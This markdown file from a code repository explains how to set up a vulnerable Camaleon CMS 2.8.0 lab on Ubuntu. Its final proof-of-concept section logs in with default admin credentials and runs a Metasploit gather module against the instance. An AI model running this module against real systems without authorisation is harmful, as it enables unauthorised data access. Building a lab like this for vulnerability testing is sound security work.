Skip to content

camaleon_setup.md

Latest commit

 

History

History
137 lines (88 loc) · 2.59 KB

camaleon_setup.md

File metadata and controls

137 lines (88 loc) · 2.59 KB

Installing Camaleon CMS 2.8.0 on Ubuntu 24.04.4

Camaleon CMS

Requirements

  • Rails 6.1+
  • PostgreSQL, MySQL 5+ or SQlite
  • Ruby 3.0+
  • Imagemagick

Install Ruby

guides.rubyonrails.org/install_ruby_on_rails.html

sudo apt install build-essential rustc libssl-dev libyaml-dev zlib1g-dev libgmp-dev git

Install Mise

curl https://mise.run | sh
echo "eval \"\$(~/.local/bin/mise activate)\"" >> ~/.bashrc
source ~/.bashrc

Install Ruby with Mise

$ mise use -g ruby@3.0

$ ruby --version
ruby 3.0.7p220 ...

Install Imagemagick

sudo apt install --no-install-recommends imagemagick

Install Postgresql

sudo apt install postgresql

Install Rails

$ gem install rails -v 6.1

$ rails --version
Rails 6.1.7.10

concurrent-ruby Issue

Downgrade concurrent-ruby to 1.3.4

$ gem list concurrent-ruby
concurrent-ruby (1.3.6)

$ gem install concurrent-ruby -v 1.3.4
$ gem uninstall concurrent-ruby -v 1.3.6

Create Rails Project

Run rails new camaleon_project

Gemfile

In your Gemfile do the following:

Replace gem 'spring' with gem 'spring', '4.2.1'

Delete this line to prevent conflict: `gem 'sass-rails', '>= 6'

Put these lines at the bottom of your Gemfile:

gem 'camaleon_cms', '2.8.0'
gem 'concurrent-ruby', '1.3.4'

Install Bundle

From the project directory run bundle install

Webpacker.yml Issue

wget -O camaleon_project/config/webpacker.yml https://raw.githubusercontent.com/rails/webpacker/master/lib/install/config/webpacker.yml

Camaleon CMS Installation

rails generate camaleon_cms:install
rake camaleon_cms:generate_migrations
rake db:migrate

Run Rails

bundle exec rails server -b 0.0.0.0

Navigate to http://{ip address}:3000 and enter test under the Name field.

Setup Server

When prompted with the new installation page just enter "test" into the Name field and continue.

Proof of Concept

Create Unprivileged User (Optional)

Navigate to http://{ip address}:3000/admin, login with the default admin credentials "admin:admin123"

Then navigate to "Users -> + Add User" and fill out the form.

Run Exploit

Now using either the unprivileged user you created, or just the default admin credentials provided open up msfconsole.

msf> use auxiliary/gather/camaleon_cms
msf auxiliary(gather/camaleon_cms)> set rhosts {ip address}
msf auxiliary(gather/camaleon_cms)> set rport 3000
msf auxiliary(gather/camaleon_cms)> run